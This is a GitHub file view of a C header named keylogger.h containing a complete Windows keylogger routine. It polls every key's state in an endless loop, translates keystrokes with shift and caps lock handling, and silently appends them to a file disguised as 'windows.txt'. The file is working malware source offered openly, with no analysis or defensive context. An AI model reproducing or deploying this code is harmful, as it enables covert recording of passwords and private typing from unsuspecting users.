-
Notifications
You must be signed in to change notification settings - Fork 13
/
keylogger.h
129 lines (118 loc) · 2.55 KB
/
keylogger.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
DWORD WINAPI logg()
{
int vkey,last_key_state[0xFF];
int isCAPSLOCK,isNUMLOCK;
int isL_SHIFT, isR_SHIFT;
int isPressed;
char showKey;
char NUMCHAR[]=")!@#$%^&*(";
char chars_vn[]=";=,-./`";
char chars_vs[]=":+<_>?~";
char chars_va[]="[\\]\';";
char chars_vb[]="{|}\"";
FILE *kh;
char KEY_LOG_FILE[]="windows.txt";
// making last key state 0
for(vkey=0; vkey<0xFF; vkey++)
{
last_key_state[vkey]=0;
}
// running infinite
while(1)
{
// take rest for 10 milliseconds
Sleep(10);
// get key state of CAPSLOCK,NUMLOCK
// get key LEFT_SHIFT,RIGHT_SHIFT
isCAPSLOCK=(GetKeyState(0x14)&0xFF)>0?1:0;
isNUMLOCK=(GetKeyState(0x90)&0xFF)>0?1:0;
isL_SHIFT=(GetKeyState(0xA0)&0xFF00)>0?1:0;
isR_SHIFT=(GetKeyState(0xA1)&0xFF00)>0?1:0;
// checking state of all virtual keys
for(vkey=0; vkey<0xFF; vkey++)
{
isPressed=(GetKeyState(vkey)&0xFF00)>0?1:0;
showKey=(char)vkey;
if(isPressed==1 && last_key_state[vkey]==0)
{
// for alphabets
if(vkey>=0x41 && vkey<=0x5A)
{
if(isCAPSLOCK==0)
{
if(isL_SHIFT==0 && isR_SHIFT==0)
{
showKey=(char)(vkey+0x20);
}
}
else if(isL_SHIFT==1 || isR_SHIFT==1)
{
showKey=(char)(vkey+0x20);
}
}
// for num chars
else if(vkey>=0x30 && vkey<=0x39)
{
if(isL_SHIFT==1 || isR_SHIFT==1)
{
showKey=NUMCHAR[vkey-0x30];
}
}
// for right side numpad
else if(vkey>=0x60 && vkey<=0x69 && isNUMLOCK==1)
{
showKey=(char)(vkey-0x30);
}
// for printable chars
else if(vkey>=0xBA && vkey<=0xC0)
{
if(isL_SHIFT==1 || isR_SHIFT==1)
{
showKey=chars_vs[vkey-0xBA];
}
else
{
showKey=chars_vn[vkey-0xBA];
}
}
// miscellaneous
else if(vkey>=0xDB && vkey<=0XDF)
{
if(isL_SHIFT==1 || isR_SHIFT==1)
{
showKey=chars_vb[vkey-0xDB];
}
else
{
showKey=chars_va[vkey-0xDB];
}
}
// for right side chars ./*-+..
// for chars like space, \n, enter etc..
// for enter use newline char
// don't print other keys
else if(vkey==0x0D)
{
showKey=(char)0x0A;
}
else if(vkey>=0x6A && vkey<=0x6F)
{
showKey=(char)(vkey-0x40);
}
else if(vkey!=0x20 && vkey!=0x99)
{
showKey=(char)0x00;
}
// print and save captured key
if(showKey!=(char)0x00)
{
kh=fopen(KEY_LOG_FILE, "a");
putc(showKey, kh);
fclose(kh);
}
}
// save last state of key
last_key_state[vkey]=isPressed;
}
}// end of while loop
}// end of function